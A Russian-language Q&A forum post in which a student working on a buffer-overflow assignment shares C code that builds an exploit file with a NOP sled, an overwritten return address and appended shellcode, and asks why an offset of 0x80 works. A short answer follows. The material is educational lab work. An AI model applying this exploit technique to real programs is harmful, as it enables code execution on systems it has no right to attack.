Эксплуатировать BOF в c? - PullRequest
0 голосов
/ 25 января 2019
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    *((long *) (buffer + 36)) = 0xffffce78 + 0x80;

    memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

Я просто делаю свое назначение на BOF, теперь я знаю две вещи для выполнения BOF.

1, адрес указателя инструкции, чтобы указывать на мой шелл-код

2, адрес моего шелл-кода.

Адрес буфера: 0xffffce28 в GDB и 0xffffce78 в C, $ ebp указывает на 0xffffce48.Таким образом, чтобы получить адрес eip, 0xffffce48 - 0xffffce28 + 4 = 36.Но сохранение моего адреса кода оболочки, 0xffffce78, в буфере + 36 поднимает недопустимую инструкцию (ядро сброшено), но добавление 0x80 с адресом буфера работает, почему?

1 Ответ

0 голосов
/ 03 февраля 2019

Поскольку код оболочки находится в конце буфера. Первая попытка выполнить команду - это значение eip, *((long *) (buffer + 36)) = 0xffffce78 + 0x80;, так что это не юридическая инструкция.

...